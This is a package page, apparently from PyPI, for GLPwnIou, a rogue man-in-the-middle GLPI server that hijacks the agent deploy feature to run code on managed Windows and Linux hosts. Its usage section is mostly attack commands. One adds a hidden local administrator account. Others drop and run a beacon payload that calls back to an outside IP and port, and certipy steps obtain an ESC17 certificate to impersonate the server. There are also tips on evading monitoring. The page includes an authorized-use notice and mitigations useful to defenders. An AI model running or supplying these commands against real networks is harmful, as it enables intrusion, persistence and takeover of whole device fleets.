Skip to main content

GLPwnIou

Rogue Man-in-The-Middle GLPI server used to obtain RCE on managed devices. This tool takes advantage of the https://help.glpi-project.org/tutorials/inventory/glpiinventory_deploy feature, which enables a GLPI server to push updates (binaries and/or commands) to a managed linux or windows host.

Prerequisites :

  • A Man-In-the-Middle position. Examples of ways include :
    • using mitm6 if IPv6 is enabled
    • editing a DNS entry in the domain
    • ARP spoofing (bettercap, ettercap) on a flat L2 segment.
  • One of the following:
    • The agent uses HTTP to reach the server
    • The agent uses HTTPS to reach the server, but the certificate SSL check is disabled
    • The agent uses HTTPS, but the attacker can get a Server Authentication certificate for the server (usually through ESC17, alhough one could hypothetically be found in a public share)

Install

Authorized use only. GLPwnIou is intended for security research and penetration testing engagements you are explicitly authorized to perform.

The recommended way to install GLPwnIou is with pipx, which installs it into an isolated environment and exposes the glpwniou command globally:

pipx install GLPwnIou

Or with pip (ideally inside a virtual environment):

pip install GLPwnIou

Once installed, run it via the glpwniou entry point:

From source

git clone https://github.com/FenriskSecurity/glpwniou
cd GLPwnIou
pipx install .          # or: pip install .

GLPwnIou has no third-party dependencies and requires Python 3.8+.

Usage examples

Various payloads methods

Harmless default : Will only create a file in C:\Windows\Temp with the output of whoami

glpwniou --advertise https://glpi.acme.local/deploy ...

Command execution : Will run the specified powershell command

glpwniou --advertise https://glpi.acme.local/deploy ... \
  --cmd 'cmd.exe /c net user pwned P@ssw0rd! /add & net localgroup administrators pwned /add'

Run a binary on the target : Will execute the binary as is unless you provide the run-command parameter. You can optionnaly provide an executable name to be used when dropped on target (make sure to use this name when using custom commands)

# Execute the binary as is
glpwniou --advertise https://glpi.acme.local/deploy ... \
  --payload-file ./beacon.exe
# Execute the renammed binary
glpwniou --advertise https://glpi.acme.local/deploy ... \
  --payload-file ./beacon.exe --run-name updater.exe
# Execute the binary with a custom call
glpwniou --advertise https://glpi.acme.local/deploy ... \
  --payload-file ./beacon.exe \
  --run-command "./beacon.exe -ip 13.37.13.37 -port 9000"

Note that cmd and payload-file are mutually esclusive. The advertise flag does not have to match exactly the serverURL, however it will be the path at wich the agent will request the binaries and the server will serve them, so sticking as close as possible to the configured value may help regarding monitoring of suspicious activity.

Agents configured to only use HTTP

glpwniou --advertise https://glpi.acme.local/deploy --port 80

Agents configured to use HTTPS without SSL checks

glpwniou --advertise https://glpi.acme.local/deploy --port 443 --tls
  • This will generate a self-signed cert for CN=glpi.acme.local
  • Make sure to use the right FQDN in the advertise URL else the agent will return a Peer certificate not verified

Agents configure to properly use HTTPS, but you have found a valid certificate for the target server

This focuses on the ESC17 way, but you may find one in an SMB share or in another way

# look for ESC17-vulnerable teplates
certipy find -u "user@acme.local" -p "password" -dc-ip ... -stdout
certipy req -dc-ip ... -u "user@acme.local" -p "password" -target glpi.acme.local -ca '...' \
  -template ESC17 -dns glpi.acme.local -out glpi
openssl pkcs12 -in glpi.pfx -out glpi.pem -nodes -passin pass:

Agent version support

  • Agent 1.7.x (latest version with auto-enabled deploy)
  • Agent 1.17.x
  • Agent 1.18.x
  • Agent 1.19.x (latest version)

Screenshots

Coming Soon 😁

Improvements

  • More Agent versions support
  • Support for multi-OS concurrent poisonning (send a payload/cmd to Windows and another payload/cmd to linux)
  • Integrated ARP spoofing support like wsuks does

Mitigations

  • Setup your agents to use HTTPS and check the certificate rather than use HTTP or blindly trust any certificate.
  • Regarding ESC17, please check out the certipy wiki for mitigation recommendations. This is no GLPI vulnerability, the issue lies in the trust chain (a misconfiguration in the ADCS)
  • Disable the Deploy task where it isn't needed
  • Protect angainst/monitor MiTM vectors (disable IPv6 if not used, alert on DNS changes/ARP flooding)

Acknowledgements and previous works

Metadata

Release files for GLPwnIou 1.0.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for GLPwnIou 1.0.0
File Size Uploaded
glpwniou-1.0.0.tar.gz 34.5 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for GLPwnIou 1.0.0
File Interpreter ABI Platform
glpwniou-1.0.0-py3-none-any.whl Python 3 none any Details

Total release size: 68.0 kB

Release files / glpwniou-1.0.0.tar.gz

Download URL glpwniou-1.0.0.tar.gz
Size 34.5 kB
Tags Source
SHA-256 checksum
How to use checksums
466ab84dafb70cc61da23d42ab9d4425fafcba99a2a6b9c140e09fb4e9a9e465
BLAKE2b-256 checksum
How to use checksums
6c835da5c4df86aeb20a6c2db60918b03f28740a5da456784105e4205f1883a0
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.12.3

Release files / glpwniou-1.0.0-py3-none-any.whl

Download URL glpwniou-1.0.0-py3-none-any.whl
Size 33.5 kB
Tags Python 3
SHA-256 checksum
How to use checksums
3ebb24619d07dcc268d13a7e5091ddc4a3bf23b89d912c58fb255b0541a340ed
BLAKE2b-256 checksum
How to use checksums
daf8104f8e1cb296cd200f77e319a96ead0b75a9a7089c62114a1a171b36f191
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.12.3

Release history Release notifications | RSS feed

This release

1.0.0 This release

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page